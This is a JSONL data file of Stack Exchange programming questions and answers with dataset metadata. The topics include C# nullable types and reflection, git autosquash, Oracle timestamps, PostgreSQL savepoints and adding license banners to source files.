{"id": "hf_4ad3b8e37cd5", "question": "<p>Is there a way to declare a variable as Nullable in c#?</p>\n\n<pre><code>struct MyStruct {        \n    int _yer, _ner;\n\n    public MyStruct() {\n\n        _yer = Nullable&lt;int&gt;; //This does not work.\n        _ner = 0;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Try declaring your variable like this:\n```\n```\nint? yer;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.277863"}
{"id": "hf_f361ca87ba7a", "question": "<p>In .net, is there a way using reflection to determine if a parameter on a method is marked with the \"params\" keyword?</p>\n", "question_body": "", "answer": "Test to see whether the final\nParameterInfo\nhas\nParamArrayAttribute\napplied to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.314758"}
{"id": "hf_52fd8c4e7b49", "question": "<p>Is it possible to create a simple 3D model (for example in 3DS MAX) and then import it to Android?</p>\n", "question_body": "", "answer": "Not sure about Android specifically, but generally speaking you need a script in 3DS Max that manually writes out the formatting you need from the model.\nAs to whether one exists for Android or not, I do not know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.388216"}
{"id": "hf_f266baadd9f9", "question": "<p>I'm developing a kind of an exchange format between instances of an application so that user could save information to file and restore it later. The whole 'exchange format' is a single class that gets serialized and written to disk.</p>\n\n<p>How would you suggest to store graphical/sound information inside that class? I'd like to avoid just putting the files into it a .jar.</p>\n", "question_body": "", "answer": "** me **\nhow about more details on your case? the \"best\" method usually depends on the particular application/use.  does the image/sound come from files? from a stream?  Is each instance of the class expected to store separate images? Or can an image be shared between different instances?\ngsmd\nimages come from files, sounds come\n  from a stream; there's actually a Set\n  of items some of which may have an\n  image attached; an image can't be\n  shared\nWhat methods have you tried?\nI guess using the Serializable interface is the way to go. Here's\ntwo\narticles\non the topic.\nBasically,\nimplement the Serializable interface in your class\nmark members which shouldn't be saved in the file as transient (members which contain contextual data like file handles, socket connections ,etc).\nyou have to customize how your image and sound classes write data using, but implementing:\nprivate void writeObject(ObjectOutputStream out) throws IOException;\nprivate void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.443340"}
{"id": "hf_136f2418cb8b", "question": "<p>When returning objects from a class, when is the right time to release the memory?</p>\n\n<p>Example,</p>\n\n<pre><code>class AnimalLister \n{\n  public:\n  Animal* getNewAnimal() \n  {\n    Animal* animal1 = new Animal();\n    return animal1;\n  }\n}\n</code></pre>\n\n<p>If i create an instance of Animal Lister and get Animal reference from it, then where am i supposed to delete it?</p>\n\n<pre><code>int main() {\n  AnimalLister al;\n  Animal *a1, *a2;\n  a1 = al.getNewAnimal();\n  a2 = al.getNewAnimal();\n}\n</code></pre>\n\n<p>The problem here is AnimalLister doesnot have a way to track the list of Animals Created, so how do i change the logic of such code to have a way to delete the objects created.</p>\n", "question_body": "", "answer": "I advise returning a\n```\nstd::tr1::shared_ptr\n```\n(or\n```\nboost::shared_ptr\n```\n, if your C++ implementation does not have TR1) instead of a raw pointer. So, instead of using\n```\nAnimal*\n```\n, use\n```\nstd::tr1::shared_ptr<Animal>\n```\ninstead.\nShared pointers handle reference tracking for you, and delete the object automatically if there are no references left to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.467930"}
{"id": "hf_ff85d371fb52", "question": "<p>I've made some performance improvements to my application's backend, and to show the benefit to the end users of the GUI, we've been using the Trace.axd page to take timings. (The frontend is .Net 1.1 and the backend is Java, connected via Web services.)</p>\n\n<p>However, these timings show no difference between the old and the new backends.</p>\n\n<p>By putting a breakpoint in the backend and holding a request there for 30 seconds, I can see from Trace.axd that the POST is taking 3ms, and the GET is taking 4s. I'm missing about 26s...</p>\n\n<p>The POST is where the performance improvement should be, but the timing on the Trace page seems to only include the time it takes to send the request, not the time it takes to return.</p>\n\n<p>Is there a way to inrease the granularity of the information in the trace to include the whole of the request? Or is there another way to take the measurements I need?</p>\n", "question_body": "", "answer": "I'm not sure how you're making the requests on the .NET side, but I'll assume that there's a HttpWebRequest involved somewhere. I'd expect HttpWebRequest.GetResponse() to return as soon as it has received the response headers. That way, you can start processing the start of a large response while the rest is still downloading. If your trace messages are immediately before and after a call to GetResponse, you therefore wouldn't see the whole execution time of the backend. Can you add a trace message immediately after you close the response?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.540540"}
{"id": "hf_27588db8120f", "question": "<p>Are there any tools to transform SVG (XML) data to Canvas friendly input?</p>\n", "question_body": "", "answer": "No I don't think so. SVG is actually rather different to Canvas. SVG is a vector graphics description language, whereas Canvases are programmatically \"drawn\" by sets of instructions. Also, Canvas isn't actually vector based at all.\nTake a look at the\nRaphael Javascript Library\n. Its API will draw SVG/Canvas/VML depending on the capabilities of the browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.564952"}
{"id": "hf_1847ec427028", "question": "<p>What tools are available to encrypt or password-protect a file stored on the IFS?</p>\n\n<p>*integrated file-system, accessible from Windows</p>\n", "question_body": "", "answer": "You could setup object security so only certain users can view the file.\nThere are encryption tools available for purchase. There is also some built-in APIs for encrypting.\nHere are some resources to look into:\nScenario: Key Management and File Encryption Using the Cryptographic Services APIs\nThe Next Step in Security\nA Simple Encryption/Decryption Algorithm for Numbers\nCryptographic Services APIs\nMost of these articles deal with encrypting data in a table, but the concepts should help you encrypt a file on the IFS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.613840"}
{"id": "hf_7f6342cce6ed", "question": "<p>Suppose you have:</p>\n\n<pre><code>A-B-C\n</code></pre>\n\n<p>Now your build/test fails. The fix should be merged in A. \nMy current work-flow is like this:</p>\n\n<pre><code>$ git commit -m \"fixA\"\n\nA-B-C-fixA\n\n$ git rebase -i A~1\n</code></pre>\n\n<p>And squash fixA in A, result in: </p>\n\n<pre><code>A'-B-C\n</code></pre>\n\n<p>Is there a command to do something like:</p>\n\n<pre><code>A-B-C + (index with fix for A)\n\n$ git commit -supperdupper A \n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>A'-B-C\n</code></pre>\n", "question_body": "", "answer": "If you're just looking for the easy solution for fixing up earlier commits, read the question! It explains it all. But since Elmarco was asking for a slick way, here we go:\nAs of Git 1.7.0, there is an\n```\n--autosquash\n```\noption for\n```\nrebase\n```\n, which does what you want.  There is also the\n```\n--fixup\n```\nand\n```\n--squash\n```\noptions for\n```\ncommit\n```\nto make things easier.  With some aliasing you can probably even get the whole thing into a single command.\nI'd suggest upgrading to the newest Git for maximum awesomeness:\n```\n```\ngit/Documentation/RelNotes $ grep -i -A1 autosquash\\\\\\|fixup *\n1.7.0.txt: * \"git rebase -i\" learned new action \"fixup\" that squashes the change\n1.7.0.txt-   but does not affect existing log message.\n--\n1.7.0.txt: * \"git rebase -i\" also learned --autosquash option that is useful\n1.7.0.txt:   together with the new \"fixup\" action.\n1.7.0.txt-\n--\n1.7.3.txt: * \"git rebase -i\" peeks into rebase.autosquash configuration and acts as\n1.7.3.txt:   if you gave --autosquash from the command line.\n1.7.3.txt-\n--\n1.7.4.txt: * \"git commit\" learned --fixup and --squash options to help later invocation\n1.7.4.txt-   of the interactive rebase.\n--\n1.7.4.txt: * \"git rebase --autosquash\" can use SHA-1 object names to name which\n1.7.4.txt:   commit to fix up (e.g. \"fixup! e83c5163\").\n1.7.4.txt-\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.663315"}
{"id": "hf_8f76ca3c7225", "question": "<p>Is it different from any other certificate I can generate via makecert or buy from some authority?</p>\n", "question_body": "", "answer": "It depends on what you are doing with it. If you want the certificate to be accepted by a browser in an SSL communication, then it must have a root certificate installed in the browser. The certificates generated by authorities already have their root certs installed in browsers.\nIf you are using the cert just to sign an assembly, then you don't need it. It depends on who is checking the cert and whether they care if the root is a known authority.\nMore here:\nhttp://en.wikipedia.org/wiki/Root_certificate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.694958"}
{"id": "hf_f3e926269dcc", "question": "<p>So I have the following:</p>\n\n<pre><code>public class Singleton\n{\n\n  private Singleton(){}\n\n  public static readonly Singleton instance = new Singleton();\n\n  public string DoSomething(){ ... }\n\n  public string DoSomethingElse(){ ... }\n\n}\n</code></pre>\n\n<p>Using reflection how can I invoke the DoSomething Method? </p>\n\n<p>Reason I ask is because I store the method names in XML and dynamically create the UI. For example I'm dynamically creating a button and telling it what method to call via reflection when the button is clicked. In some cases it would be DoSomething or in others it would be DoSomethingElse.</p>\n", "question_body": "", "answer": "Untested, but should work...\n```\n```\nstring methodName = \"DoSomething\"; // e.g. read from XML\nMethodInfo method = typeof(Singleton).GetMethod(methodName);\nFieldInfo field = typeof(Singleton).GetField(\"instance\",\n    BindingFlags.Static | BindingFlags.Public);\nobject instance = field.GetValue(null);\nmethod.Invoke(instance, Type.EmptyTypes);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.741021"}
{"id": "hf_40b2a6c72abc", "question": "<p>I'm a developer who works on both individual and group projects using Microsoft Visual Studio.  I could setup one of several different source control packages, such as VSS, SourceGear Vault or SVN on a server of my own and access them remotely; however, I don't want to deal with the hassle of setting it up, configuring it, etc.</p>\n\n<p>Does anyone offer a hosted source control service?</p>\n", "question_body": "", "answer": "I used\nCVSDude\na long time ago. They were free up to 10 MBs at that time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.765351"}
{"id": "hf_a3c9f9f86bd7", "question": "<p>I use LINQ to Objects instructions on an ordered array. \nWhich operations shouldn't I do to be sure the order of the array is not changed?</p>\n", "question_body": "", "answer": "Are you actually talking about SQL, or about arrays? To put it another way, are you using LINQ to SQL or LINQ to Objects?\nThe LINQ to Objects operators don't actually change their original data source - they build sequences which are effectively backed by the data source. The only operations which change the ordering are OrderBy/OrderByDescending/ThenBy/ThenByDescending - and even then, those are stable for equally ordered elements. Of course, many operations will filter out some elements, but the elements which are returned will be in the same order.\nIf you convert to a different data structure, e.g. with ToLookup or ToDictionary, I don't believe order is preserved at that point - but that's somewhat different anyway. (The order of values mapping to the same key is preserved for lookups though, I believe.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.837894"}
{"id": "hf_08202f8d7901", "question": "<p>What are the best practices when managing a software project involving a non-English-speaking client?</p>\n\n<p>What communication issues are relevant? Would you maintain documentation in both languages (especially updating the specifications regularly)?</p>\n", "question_body": "", "answer": "My native language is not English, so I'm on the other side. There were times when we had to write project documents in 4-6 languages.\nTry to find somebody who understand English (like a key person). I try to avoid the communication in different languages on a project. Of course you can talk and write on different languages with project members, but if you talk or write to all members of the project at once, it should be one language.\nDocumentation should be maintained in as many languages as many involved. All documents should be updated on a regular basis and try to avoid the situation when you have to tell them that \"the English is the current one\". Find someone who is native in the target language and translate from English for you. It will be far more better, understandable, and more native than if you try the other way around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.863237"}
{"id": "hf_fc214ee575e9", "question": "<p>This is not yet particularly programing related but, I am very interested in how Vista and XP resolve network names in a home LAN situation.</p>\n\n<p>With Windows 2000, network name resolution was either done via the netbeui protocol - tcp/ip networks needes a wins server. XP and Vista no longer install netbeui by default, so its entirely unclear to me how PCs on a lan are meant to find each other.</p>\n\n<p>One part of the puzzle's solution seems to be, IF there is a router appliance on the network that is configured as a DHCP server (and, as a result, a DNS server) then DNS queries of PC names tend to resolve.</p>\n\n<p>In the more isolated case - a couple of XP and Vista PCs connected to an ethernet hub, configured to talk only tcp/ip - what services and what protocols are involved in name resolution and broadcasting?</p>\n", "question_body": "", "answer": "It looks like Peer Name Resolution Protocol is being used with Vista and XP.\nPeer Name Resolution Protocol\nhttp://technet.microsoft.com/en-us/library/bb726971.aspx\nPeople Near Me\nhttp://technet.microsoft.com/en-us/library/bb726969.aspx\nEdit: After doing a little bit more digging after Chris's comment, here is a link on how Windows XP Professional resolves names:\nhttp://technet.microsoft.com/en-us/library/bb457118.aspx#ECAA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.892182"}
{"id": "hf_aa011e5321bb", "question": "<p>I've got nutch and lucene setup to crawl and index some sites and I'd like to use a .net website instead of the JSP site that comes with nutch.</p>\n\n<p>Can anyone recommend some solutions?</p>\n\n<p>I've seen solutions where there was an app running on the index server which the .Net site used remoting to connect to.</p>\n\n<p>Speed is a consideration obviously so can this still perform well?</p>\n\n<p><strong>Edit:</strong> could NHibernate.Search work for this?</p>\n\n<p><strong>Edit:</strong> We ended up going with Solr index servers being used by our ASP.net site with the <a href=\"http://code.google.com/p/solrnet/\" rel=\"nofollow noreferrer\">solrnet</a> library.</p>\n", "question_body": "", "answer": "Instead of using Lucene, you could use\nSolr\nto index with nutch (see\nhere\n), then you can connect very easily to Solr using one of the two libraries available:\nSolrSharp\nand\nSolrNet\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.920165"}
{"id": "hf_7dc1644dd63e", "question": "<p>I am having a listbox in ASP.net. I am populating the listbox values from another listbox in a page dynamically. During postbacks the values of output listbox are not persisted.\n(while going to another page and come back to this page).</p>\n\n<p>Please suggest some good answer. EnableViewstate = \"true\" is not working.</p>\n", "question_body": "", "answer": "Are you doing anything in Page_Load that should be in a\n```\n```\nif(!IsPostBack) {}\n```\n```\nInitialization code in load needs to only be called when the page is first loaded, not on postbacks.\nIf you are going to another page and then coming back to this page, I think you need to preserve the information yourself in the Session and then restore it when you come back to the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.960932"}
{"id": "hf_dc0ef6bf29ff", "question": "<p>I need to insert some data into a table in Oracle. </p>\n\n<p>The only problem is one of the fields is a timestamp(6) type and it is required data. I don't care about what actually goes in here I just need to get the right syntax for an entry so that the database will accept it.</p>\n\n<p>I'm using the gui web client to enter data however I don't mind using raw SQL if I have to.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I dunno if this helps at all, but in SQL*Plus I did this:\n```\n```\ncreate table x ( a timestamp(6));\ninsert into x values ( current_timestamp );\nselect * from x;\n```\n```\ngetting me this:\n```\n```\nT\n---------------------------------------------------------------------------\n15-OCT-08 02.01.25.604309 PM\n```\n```\nSo it looks like that works.\nIf you need to put a previously-known value into the column, how about the TO_TIMESTAMP() function? Something like this:\n```\n```\nselect to_timestamp('27/02/2002 15:51.12.539880', 'dd/mm/yyyy hh24:mi.ss.ff') \nfrom dual ;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.996985"}
{"id": "hf_42170f0eb03f", "question": "<p>I'm working on scripts that apply database schema updates. I've setup all my SQL update scripts using start transaction/commit. I pass these scripts to psql on the command line.</p>\n\n<p>I now need to apply multiple scripts at the same time, and in one transaction. So far the only solution I've come up with is to remove the start transaction/commit from the original set of scripts, then jam them together inside a new start transaction/commit block. I'm writing perl scripts to do this on the fly.</p>\n\n<p>Effectively I want nested transactions, which I can't figure out how to do in postgresql. </p>\n\n<p>Is there any way to do or simulate nested transactions for this purpose? I have things setup to automatically bail out on any error, so I don't need to continue in the top level transaction if any of the lower ones fail.</p>\n", "question_body": "", "answer": "Well you have the possibility to use nested transactions inside postgresql using SavePoints.\nTake this code example:\n```\n```\nCREATE TABLE t1 (a integer PRIMARY KEY);\n\nCREATE FUNCTION test_exception() RETURNS boolean LANGUAGE plpgsql AS\n$$BEGIN\n   INSERT INTO t1 (a) VALUES (1);\n   INSERT INTO t1 (a) VALUES (2);\n   INSERT INTO t1 (a) VALUES (1);\n   INSERT INTO t1 (a) VALUES (3);\n   RETURN TRUE;\nEXCEPTION\n   WHEN integrity_constraint_violation THEN\n      RAISE NOTICE 'Rollback to savepoint';\n      RETURN FALSE;\nEND;$$;\n\nBEGIN;\n\nSELECT test_exception();\nNOTICE:  Rollback to savepoint\n test_exception \n----------------\n f\n(1 row)\n\nCOMMIT;\n\nSELECT count(*) FROM t1;\n count \n-------\n     0\n(1 row)\n```\n```\nMaybe this will help you out a little bit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.032427"}
{"id": "hf_41ba91e1852f", "question": "<p>I use the p/invoke method to play <code>wav</code> sounds. There are ways of calling windows media player to play an <code>mp3</code> sound, but its slow &amp; cumbersome. </p>\n\n<p>Is there an easy way to play a short <code>mp3</code> file? </p>\n\n<p>This is primarily for application <strong>prompting</strong> and <strong>audible cues</strong> when you are not looking at the screen and not music.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "CF Framework 3.5 now includes support for playing .WAV files:\nNamespace System.Media.SoundPlayer\nShort WAV files for cues and sound-effects might even play\nfaster\nthan MP3s since they're \"ready-to-play\"...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.057565"}
{"id": "hf_1d2a7ac47260", "question": "<p>Is there any way to get the custom attributes of a specific object I am receiving in a method?</p>\n\n<p>I do not want nor can to iterate over Type.GetMembers() and search for my member. I have the object, which is also a member, that has the attribute.</p>\n\n<p>How do I get the attribute?</p>\n\n<pre><code>class Custom\n{\n    [Availability]\n    private object MyObject = \"Hello\";\n\n    private void Do(object o)\n    {\n        //does object 'o' has any custom attributes of type 'Availability'?\n    }\n\n    //somewhere I make the call: Do(MyObject)\n\n}\n</code></pre>\n", "question_body": "", "answer": "You cannot do this without at least 1 Reflection call. After that, save the value somehow.\nExample:\n```\n```\nabstract MyBase\n{\n  public string Name;\n  protected MyBase()\n  {\n    //look up value of Name attribute and assign to Name\n  } \n}\n\n[Name(\"Foo\")]\nclass MyClass : MyBase\n{\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.082056"}
{"id": "hf_523bcbefeb3f", "question": "<p>My new boss went to a speech where Deliverance, a kind of proxy allowing to add skin to any html output on the fly, was presented. He decided to use it right after that, no matter how young it is.</p>\n\n<p>More here :</p>\n\n<p><a href=\"http://www.openplans.org/projects/deliverance/introduction\" rel=\"nofollow noreferrer\">http://www.openplans.org/projects/deliverance/introduction</a></p>\n\n<p>In theory, the system sounds great when you want a newbie to tweak your plone theme without having to teach him all the complex mechanisms behind the zope products. And apply the same theme on a Drupal web site in one row.</p>\n\n<p>But I don't believe in theory, and would like to know if anybody tried this out in the real world :-)</p>\n", "question_body": "", "answer": "I will start answering this question here while we perform tests but I'd love to have feedback from other users.\nInstall\nWe have spent a small afternoon from tuto to \"how to\" to finally install and run the thing on a virtual machine.\nThis one is ok :\nhttp://www.openplans.org/projects/deliverance/getting-started\nThere are setuptools packages but this does not works out of the box (and certainly not without compiling anything). We had to install :\nsetuptools >= 0.6c5 (tested with 0.6c9 from\nhttp://pypi.python.org/pypi/setuptools/\n).\nof course, compilation implies installing gcc, linux-header et lib6-dev\nlibxslt in dev (we used libxslt1-dev)\nlinking with zl so zlib (we used zlib1g-dev)\nyou'd better install Pastescript BEFORE starting the Deliverance install\ninstalling python-nose is not mandatory but it helps to check if everything went fine\nWe did not manage to make it works with python-virtualenv to we definitly messed up the debian system but it seems to run ok.\nHope it can help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.106653"}
{"id": "hf_6933f850a7e8", "question": "<p>Why should I do <strong>Nightly Builds?</strong></p>\n", "question_body": "", "answer": "Nightly builds aren't always necessary - I think they're only really useful on big projects. But if you're on a big project, a nightly build is a good way of checking that everything is working - you can run all your tests (unit tests, integration tests), build all your code - in short, verify that nothing is broken in your project.\nIf you've got a smaller project your build and test times will be shorter so you can probably afford to do more regular builds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.158542"}
{"id": "hf_1708547452c5", "question": "<p>We are in the process of moving our SVN repositories from one machine to another one, and with it will come a new domain name for the new repo.  The problem is, that within the repository, there are lots of svn:externals references to other projects within the repository.  So for example, we have projectA, which has in the svn:externals properties:</p>\n\n<pre><code>external/libraryA svn://oldserver.net/repo/libraryA\nexternal/libraryB svn://oldserver.net/repo/libraryB\n</code></pre>\n\n<p>...and so on.  All of the URL's reference this particular domain name, so it can be easily parsed.  Having already learned my lesson, I will migrate these URLs to be \"svn://localhost/\", but I need to find a way to go through the repository history and rewrite all of the old URLs, so that we can still check out older revisions of these projects without having broken links.</p>\n\n<p>How would I go about doing this?</p>\n", "question_body": "", "answer": "You could:\na) check out the old revision, and change your hosts-file to point the old name to the new address, then svn update. In case the URL-path also changed... well then you might as well:\nb) take the time to write a script that find the properties in the current (old revision-) working copy and changes the URLs there, without committing them. OR:\nc) make a note of the revision(-s) where you checked in the new property values, check out the old version, and simply do a merge those revisions (-that only affect the properties) into your working copy.\nd) or, possibly, use svndump to dump the repository data, string-replace the URL in the dump, then restore it.. I would not give you any guarantee that that even works ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.233366"}
{"id": "hf_299050a1b2b7", "question": "<p>Does anyone have a simple, efficient way of checking that a string doesn't contain HTML?  Basically, I want to check that certain fields only contain plain text.  I thought about looking for the &lt; character, but that can easily be used in plain text.  Another way might be to create a new System.Xml.Linq.XElement using:</p>\n\n<pre><code>XElement.Parse(\"&lt;wrapper&gt;\" + MyString + \"&lt;/wrapper&gt;\")\n</code></pre>\n\n<p>and check that the XElement contains no child elements, but this seems a little heavyweight for what I need.</p>\n", "question_body": "", "answer": "The following will match any matching set of tags. i.e. <b>this</b>\n```\n```\nRegex tagRegex = new Regex(@\"<\\s*([^ >]+)[^>]*>.*?<\\s*/\\s*\\1\\s*>\");\n```\n```\nThe following will match any single tag. i.e. <b> (it doesn't have to be closed).\n```\n```\nRegex tagRegex = new Regex(@\"<[^>]+>\");\n```\n```\nYou can then use it like so\n```\n```\nbool hasTags = tagRegex.IsMatch(myString);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.280925"}
{"id": "hf_8b457281b301", "question": "<p>If I query a table with a condition on the key field as in:</p>\n\n<pre><code>        var user = from u in dc.Users\n                   where u.UserName == usn\n                   select u;\n</code></pre>\n\n<p>I know that I will either get zero results or one result. Should I still go ahead and retrieve the results using a for-each or is there another preferred way to handle this kind of situation. </p>\n", "question_body": "", "answer": "Why not something like\n```\n```\nvar user = dc.Users.SingleOrDefault(u=> u.UserName==usn);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.315383"}
{"id": "hf_7f977dfb8519", "question": "<p>I'm about to release a set of Eclipse plug-ins as Open Source and noticed that most source code released under the LGPL/EPL contains a header banner in each file that refers to the license or contains the license itself.</p>\n\n<p>Since adding these banners to each file manually seems to be a daunting and error-prone task. How can I go about automating the insertion of these banners?</p>\n\n<p><strong><em>Edit:</em></strong> I've eventually found <a href=\"https://marketplace.eclipse.org/content/copyright-wizard\" rel=\"nofollow noreferrer\">Copyright Wizard</a> and <a href=\"https://marketplace.eclipse.org/content/eclipse-copyright-generator\" rel=\"nofollow noreferrer\">Copyright Generator</a> which are Eclipse plug-ins which also allow for updating existing license banners.</p>\n", "question_body": "", "answer": "Concerning best practises, I believe you should have your license text in a separate file and have a build tool (ie ant) to add it at the beginning of all other files. Since you are talking about an open source project you would need a build process anyway for thinks like generating the javadocs, publishing releases etc.\nBTW,ant tasks are simple Java classes so it should be easy to write one yourself  if you don't find an ant plugin that does exactly that.\nComing to eclipse, to my knowledge, it cannot do something like this. The quickest way I can think of to do it is with bash (if you are using Linux). Assume the file msg contains the text you want to add at the beginning of every file.\nCreate a new directory to store the files:\nmkdir ~/outdir\nAdd the msg at the beginning of every file and put the result at the outdir\nfor i in\n```\nls \"*.java\"\n```\n; do cat msg $i > ~/outdir/$i ; done\nSimilarly you can write a command that does the same recursively, with an extra step to create the directory strucutre:\n```\n```\nmkdir ~/outdir\nfor i in `find -type d | sed 's/\\.//' | grep -v \"^$\"`; do mkdir ~/outdir$i; done\nfor i in `find -name \"*.java\"`; do cat msg $i > ~/outdir/$i ; done\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:55.338714"}
